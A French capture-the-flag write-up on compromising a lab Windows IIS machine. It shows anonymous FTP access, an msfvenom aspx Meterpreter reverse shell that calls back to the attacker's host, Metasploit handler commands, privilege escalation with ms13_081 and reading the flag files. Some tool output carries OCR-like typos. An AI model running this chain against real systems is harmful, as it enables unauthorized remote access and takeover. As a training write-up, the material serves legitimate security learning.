

# Introduction

La machine distante est un Windows dont l'adresse IP est 10.10.10.5.

Compétences mises en œuvre :

- Enumération des ports et services.
- Exploration ftp.
- Reverse shell aspx.
- Elévation de privilège basique.

#### **Enumération**

On commence l'énumération des ports et services avec nmap :

\$ nmap 10.10.10.5

```
STATE SERVICE VERSION
PNRT
21/tcp open ftp
                    Microsoft ftpd
 ftp-anon: Anonymous FTP login allowed (FTP code 230)
 03-18-17 02:06AM
                          <DIR>
                                         aspnet_client
 03-17-17
           05:37PM
                                     689 iisstart.htm
I 03-17-17
           05:37PM
                                  184946 welcome.pna
 ftp-syst:
   SYST: Windows_NT
80/tcp open http://Microsoft IIS httpd 7.5
| http-methods:
   Potentially risky methods: TRACE
 _http-server-header: Microsoft-IIS/7.5
 http-title: IIS7
```

Deux ports sont ouverts, le **21** et le **80** pour les services **ftp** et **Microsoft IIS**. Lorsqu'un service **ftp** est présent, bien souvent cela nous donne l'occasion d'obtenir des identifiants/mot de passe ou des indices sur les technologies utilisées. Nous allons donc inspecter le port **21** en premier avec le compte **anonymous** :

```
$ ftp 10.10.10.5
ftp > ls
```

```
coffee
           ]# ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17 02:06AM
                        <DIR>
                                       aspnet_client
         05:37PM
03-17-17
                                   689 iisstart.htm
03-17-17 05:37PM
                                184946 welcome.png
226 Transfer complete.
ftp>
```

Un dossier **aspnet\_client** est présent, cela veut dire que des scripts **aspx** peuvent être exécutés. Nous pouvons passer à la partie exploitation.

## **Exploitation**

Nous allons utiliser le binaire **msfvenom** pour générer un **reverse shell** en **aspx** et le transférer sur la machine victime via le **ftp** :

```
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.27 LPORT=4567 -f aspx > reverse.aspx
$ ftp 10.10.10.5
ftp > put reverse.aspx
```

Nous mettons alors un listener en place avec metasploit :

```
$ msfconsole

Msf > use multi/handler

Msf > set payload windows/meterpreter/reverse_tcp

Msf > set lhost 10.10.14.27

Msf > set lport 4567

Msf > set ExitOnSession false

Msf > run
```

Maintenant nous allons déclencher notre reverse shell en allant sur la page web suivant :

#### http://10.10.10.5/reverse.aspx

## Elévation de privilège

Maintenant que nous avons un shell sur la machine, nous allons changer de répertoire courant et aller dans **C:\windows\temp** pour avoir un maximum de droit (écriture). Puis nous lançons le module d'élévation de privilège pour windows afin de savoir quels exploits sont susceptibles de fonctionner :

Meterpreter > run post/multi/recon/local\_exploit\_suggester

```
meterpreter > run post/multi/recon/local_exploit_suggester

[*] 10.10.10.5 - Collecting local exploits for x86/windows...

[*] 10.10.10.5 - 31 exploit checks are being tried...
[+] 10.10.10.5 - exploit/windows/local/hypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms13_093_schlamperei: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms15_084_tswbproxy: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
```

Après plusieurs tentatives, le module **ms13\_081\_track\_popup\_menu** fonctionna pour l'élévation de privilège :

```
Msf > use exploit/windows/local/ms13_081_track_popup_menu
Msf > set session 1
Msf > run
```

Maintenant nous pouvons aller lire les flags :

```
C:\ > type "c:\Users\babis\Desktop\user.txt.txt"
C:\ > type "c:\Users\Administrator\Desktop\root.txt.txt"
```

```
neterpreter > search -f user.txt.txt
Found 1 result...
   c:\Users\babis\Desktop\user.txt.txt (32 bytes)
neterpreter > search -f root.txt.txt
Found 1 result...
    c:\Users\Administrator\Desktop\root.txt.txt (32 bytes)
meterpreter > shell
Process 3352 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>type "c:\Users\babis\Desktop\user.txt.txt"
c:\windows\system32\inetsrv>type "c:\Users\Administrator\Desktop\root.txt.txt"
type "c:\Users\Administrator\Desktop\root.txt.txt"
e621u0l50:1700707uffu1720lu72l4b
::\windows\system32\inetsrv>
```